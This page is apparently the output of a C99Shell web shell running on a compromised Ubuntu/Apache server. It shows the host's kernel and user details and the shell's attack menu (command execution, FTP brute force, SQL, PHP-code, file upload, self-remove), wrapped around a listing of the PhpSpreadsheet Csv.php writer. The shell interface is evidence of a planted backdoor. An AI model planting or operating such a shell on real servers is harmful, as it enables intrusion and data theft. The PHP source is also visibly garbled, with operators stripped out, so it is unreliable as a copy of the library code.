!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Csv.php (8.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Writer;

use 
PhpOffice\PhpSpreadsheet\Calculation\Calculation;
use 
PhpOffice\PhpSpreadsheet\Spreadsheet;

class 
Csv extends BaseWriter
{
    
/**
     * PhpSpreadsheet object.
     *
     * @var Spreadsheet
     */
    
private $spreadsheet;

    
/**
     * Delimiter.
     *
     * @var string
     */
    
private $delimiter ',';

    
/**
     * Enclosure.
     *
     * @var string
     */
    
private $enclosure '"';

    
/**
     * Line ending.
     *
     * @var string
     */
    
private $lineEnding PHP_EOL;

    
/**
     * Sheet index to write.
     *
     * @var int
     */
    
private $sheetIndex 0;

    
/**
     * Whether to write a UTF8 BOM.
     *
     * @var bool
     */
    
private $useBOM false;

    
/**
     * Whether to write a Separator line as the first line of the file
     *     sep=x.
     *
     * @var bool
     */
    
private $includeSeparatorLine false;

    
/**
     * Whether to write a fully Excel compatible CSV file.
     *
     * @var bool
     */
    
private $excelCompatibility false;

    
/**
     * Output encoding.
     *
     * @var string
     */
    
private $outputEncoding '';

    
/**
     * Create a new CSV.
     */
    
public function __construct(Spreadsheet $spreadsheet)
    {
        
$this->spreadsheet $spreadsheet;
    }

    
/**
     * Save PhpSpreadsheet to file.
     *
     * @param resource|string $filename
     */
    
public function save($filenameint $flags 0): void
    
{
        
$this->processFlags($flags);

        
// Fetch sheet
        
$sheet $this->spreadsheet->getSheet($this->sheetIndex);

        
$saveDebugLog Calculation::getInstance($this->spreadsheet)->getDebugLog()->getWriteDebugLog();
        
Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog(false);
        
$saveArrayReturnType Calculation::getArrayReturnType();
        
Calculation::setArrayReturnType(Calculation::RETURN_ARRAY_AS_VALUE);

        
// Open file
        
$this->openFileHandle($filename);

        if (
$this->excelCompatibility) {
            
$this->setUseBOM(true); //  Enforce UTF-8 BOM Header
            
$this->setIncludeSeparatorLine(true); //  Set separator line
            
$this->setEnclosure('"'); //  Set enclosure to "
            
$this->setDelimiter(';'); //  Set delimiter to a semi-colon
            
$this->setLineEnding("\r\n");
        }

        if (
$this->useBOM) {
            
// Write the UTF-8 BOM code if required
            
fwrite($this->fileHandle"\xEF\xBB\xBF");
        }

        if (
$this->includeSeparatorLine) {
            
// Write the separator line if required
            
fwrite($this->fileHandle'sep=' $this->getDelimiter() . $this->lineEnding);
        }

        
//    Identify the range that we need to extract from the worksheet
        
$maxCol $sheet->getHighestDataColumn();
        
$maxRow $sheet->getHighestDataRow();

        
// Write rows to file
        
for ($row 1$row <= $maxRow; ++$row) {
            
// Convert the row to an array...
            
$cellsArray $sheet->rangeToArray('A' $row ':' $maxCol $row''$this->preCalculateFormulas);
            
// ... and write to the file
            
$this->writeLine($this->fileHandle$cellsArray[0]);
        }

        
$this->maybeCloseFileHandle();
        
Calculation::setArrayReturnType($saveArrayReturnType);
        
Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog($saveDebugLog);
    }

    public function 
getDelimiter(): string
    
{
        return 
$this->delimiter;
    }

    public function 
setDelimiter(string $delimiter): self
    
{
        
$this->delimiter $delimiter;

        return 
$this;
    }

    public function 
getEnclosure(): string
    
{
        return 
$this->enclosure;
    }

    public function 
setEnclosure(string $enclosure '"'): self
    
{
        
$this->enclosure $enclosure;

        return 
$this;
    }

    public function 
getLineEnding(): string
    
{
        return 
$this->lineEnding;
    }

    public function 
setLineEnding(string $lineEnding): self
    
{
        
$this->lineEnding $lineEnding;

        return 
$this;
    }

    
/**
     * Get whether BOM should be used.
     */
    
public function getUseBOM(): bool
    
{
        return 
$this->useBOM;
    }

    
/**
     * Set whether BOM should be used, typically when non-ASCII characters are used.
     */
    
public function setUseBOM(bool $useBOM): self
    
{
        
$this->useBOM $useBOM;

        return 
$this;
    }

    
/**
     * Get whether a separator line should be included.
     */
    
public function getIncludeSeparatorLine(): bool
    
{
        return 
$this->includeSeparatorLine;
    }

    
/**
     * Set whether a separator line should be included as the first line of the file.
     */
    
public function setIncludeSeparatorLine(bool $includeSeparatorLine): self
    
{
        
$this->includeSeparatorLine $includeSeparatorLine;

        return 
$this;
    }

    
/**
     * Get whether the file should be saved with full Excel Compatibility.
     */
    
public function getExcelCompatibility(): bool
    
{
        return 
$this->excelCompatibility;
    }

    
/**
     * Set whether the file should be saved with full Excel Compatibility.
     *
     * @param bool $excelCompatibility Set the file to be written as a fully Excel compatible csv file
     *                                Note that this overrides other settings such as useBOM, enclosure and delimiter
     */
    
public function setExcelCompatibility(bool $excelCompatibility): self
    
{
        
$this->excelCompatibility $excelCompatibility;

        return 
$this;
    }

    public function 
getSheetIndex(): int
    
{
        return 
$this->sheetIndex;
    }

    public function 
setSheetIndex(int $sheetIndex): self
    
{
        
$this->sheetIndex $sheetIndex;

        return 
$this;
    }

    public function 
getOutputEncoding(): string
    
{
        return 
$this->outputEncoding;
    }

    public function 
setOutputEncoding(string $outputEnconding): self
    
{
        
$this->outputEncoding $outputEnconding;

        return 
$this;
    }

    
/** @var bool */
    
private $enclosureRequired true;

    public function 
setEnclosureRequired(bool $value): self
    
{
        
$this->enclosureRequired $value;

        return 
$this;
    }

    public function 
getEnclosureRequired(): bool
    
{
        return 
$this->enclosureRequired;
    }

    
/**
     * Convert boolean to TRUE/FALSE; otherwise return element cast to string.
     *
     * @param mixed $element
     */
    
private static function elementToString($element): string
    
{
        if (
is_bool($element)) {
            return 
$element 'TRUE' 'FALSE';
        }

        return (string) 
$element;
    }

    
/**
     * Write line to CSV file.
     *
     * @param resource $fileHandle PHP filehandle
     * @param array $values Array containing values in a row
     */
    
private function writeLine($fileHandle, array $values): void
    
{
        
// No leading delimiter
        
$delimiter '';

        
// Build the line
        
$line '';

        foreach (
$values as $element) {
            
$element self::elementToString($element);
            
// Add delimiter
            
$line .= $delimiter;
            
$delimiter $this->delimiter;
            
// Escape enclosures
            
$enclosure $this->enclosure;
            if (
$enclosure) {
                
// If enclosure is not required, use enclosure only if
                // element contains newline, delimiter, or enclosure.
                
if (!$this->enclosureRequired && strpbrk($element"$delimiter$enclosure\n") === false) {
                    
$enclosure '';
                } else {
                    
$element str_replace($enclosure$enclosure $enclosure$element);
                }
            }
            
// Add enclosed string
            
$line .= $enclosure $element $enclosure;
        }

        
// Add line ending
        
$line .= $this->lineEnding;

        
// Write to file
        
if ($this->outputEncoding != '') {
            
$line mb_convert_encoding($line$this->outputEncoding);
        }
        
fwrite($fileHandle/** @scrutinizer ignore-type */ $line);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--